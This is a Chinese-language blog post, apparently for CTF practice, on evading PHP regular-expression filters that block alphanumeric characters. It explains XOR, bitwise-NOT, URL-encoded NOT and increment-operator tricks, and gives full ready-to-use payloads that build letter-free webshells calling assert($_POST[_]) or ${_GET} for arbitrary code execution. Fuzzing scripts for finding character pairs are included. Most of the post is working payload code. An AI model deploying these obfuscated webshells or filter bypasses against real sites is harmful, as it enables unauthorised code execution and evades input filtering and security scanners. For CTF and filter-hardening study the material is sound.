关于PHP正则的一些绕过方法

参考:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://mp.weixin.qq.com/s/fCxs4hAVpa-sF4tdT_W8-w
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.cnblogs.com/cimuhuashuimu/p/11546422.html

异或绕过

在PHP中两个字符串异或之后,得到的还是一个字符串。如果正则过滤了一些字符串,那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。
例如:我们异或 ‘?’‘~’ 之后得到的是 'A’
图一

字符:?         ASCII码:63           二进制:  00‭11 1111‬
字符:~         ASCII码:126          二进制:  0111 1110‬
异或规则:
1   XOR   0   =   1
0   XOR   1   =   1
0   XOR   0   =   0
1   XOR   1   =   0
上述两个字符异或得到 二进制:  0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A

两个字符异或可以得到一个字符,下一个问题就是如何控制得到我们想要的字符
看一道例题:
关于PHP正则的一些绕过方法_第1张图片
这里的正则过滤了所有26个字母大小写,如果我想要传入一个 eval($_POST[_]); 就需要异或得到这个eval($_POST[_]);字符串

那么如何知道哪两个字符异或可以得到我们想要的字符,就比如如何得到第一个字符 e
笔者这里使用python脚本fuzz测试了一下,脚本如下:

def r_xor():
    for i in range(0,127):
        for j in range(0,127):
            result=i^j
            print("  "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))


if __name__ == "__main__":
    r_xor()

脚本运行部分结果如下:
关于PHP正则的一些绕过方法_第2张图片
这样就可以知道我们想要的字符的对应哪两个字符异或,只需要找到正则里没有过滤的字符异或得到我们想要的字符
接着看一下PHITHON师傅的一个payload
关于PHP正则的一些绕过方法_第3张图片
这里PHITHON师傅使用的是 assert($_POST[_]) 在PHP5当中assert()的作用和eval()相似都是执行,只不过eval()只执行符合php编码规范的代码,PHITHON师傅这里还有就是使用变量进行payload拼接,拼接起来payload如下:

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

因为有很多不可打印字符,所以使用url编码表示
然后只需要在POST里面传参

_=phpinfo();//代码执行

关于PHP正则的一些绕过方法_第4张图片
关于PHP正则的一些绕过方法_第5张图片
这个payload经测试PHP 7.0.12及以下版本可以使用,碰到更高的版本可能assert()不能使用了,可以换成eval()

在别的地方还看到一位师傅的绕过手法
关于PHP正则的一些绕过方法_第6张图片
payload:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

解释一下这个师傅的绕过手法:
关于PHP正则的一些绕过方法_第7张图片
即:

${_GET}{%ff}();&%ff=phpinfo

取反绕过

首先是PHITHON师傅的汉字和取反绕过
关于PHP正则的一些绕过方法_第8张图片
注意:上面的那种写法只能在PHP7里面正常测试,PHP5会报错
笔者本地PHP5测试:
关于PHP正则的一些绕过方法_第9张图片
只能直接利用这里P师傅的payload:

$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);

关于PHP正则的一些绕过方法_第10张图片
这里还利用了php的弱类型的特点,因为要获取 ‘和’{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是 (’>’>’<’)+(’>’>’<’)==2
关于PHP正则的一些绕过方法_第11张图片
传payload的时候进行一次URL编码。然后传入POST传参:2=phpinfo
关于PHP正则的一些绕过方法_第12张图片
也是PHP 7.0.12及以下版本有效,估计还是assert()的问题
关于PHP正则的一些绕过方法_第13张图片
取反中文字符fuzz的PHP脚本

 
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');

function str_split_unicode($str, $l = 0) {
 
    if ($l > 0) {
        $ret = array();
        $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
            $ret[] = mb_substr($str, $i, $l, "UTF-8");
        }
        return $ret;
    }
    return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
 
$s = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之';

$arr_str=str_split_unicode($s);

for ($i=0; $i < strlen($s) ; $i++) { 
	echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'
'
; } ?>

关于PHP正则的一些绕过方法_第14张图片

URL编码取反绕过

注意: 该方法只适用于PHP7
对想要传入的参数,先进行URL编码再取反
例如传入构造一个phpinfo();
图十四
这里只需要取反编码phpinfo就行,没有过滤 ()
关于PHP正则的一些绕过方法_第15张图片
phpinfo()是没有参数的,如果需要执行有参数的函数,比如system(“whoami”);
关于PHP正则的一些绕过方法_第16张图片
关于PHP正则的一些绕过方法_第17张图片

递增递减运算符绕过

这里笔者就没什么补充的了,直接搬运P师傅的吧
图十八
也就是说,‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串’a’的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
关于PHP正则的一些绕过方法_第18张图片
再取这个字符串的第一个字母,就可以获得’A’了。

利用这个技巧,编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[]),无需获取小写a):


$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

利用payload:

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

注意最后传入的时候记得URL编码一次
密码是_ POST传入 _=phpinfo();//代码执行即可
另外这里利用版本也是PHP 7.0.12及以下版本,估计还是assert()到PHP7改了的问题,
关于PHP正则的一些绕过方法_第19张图片
这种方法的缺点就是:需要大量的字符。
也只能当作CTF中一种奇淫技巧,实际环境中,像D盾这样的检测工具,这样的payload符号熵值太大,一看就有问题,当然正常代码也怎么可能不包括字母数字,玩玩就好

后续碰到别的方法会持续更新,各位大佬如果发现有问题请在评论区留言,我一定及时纠正

你可能感兴趣的:(Web,Security)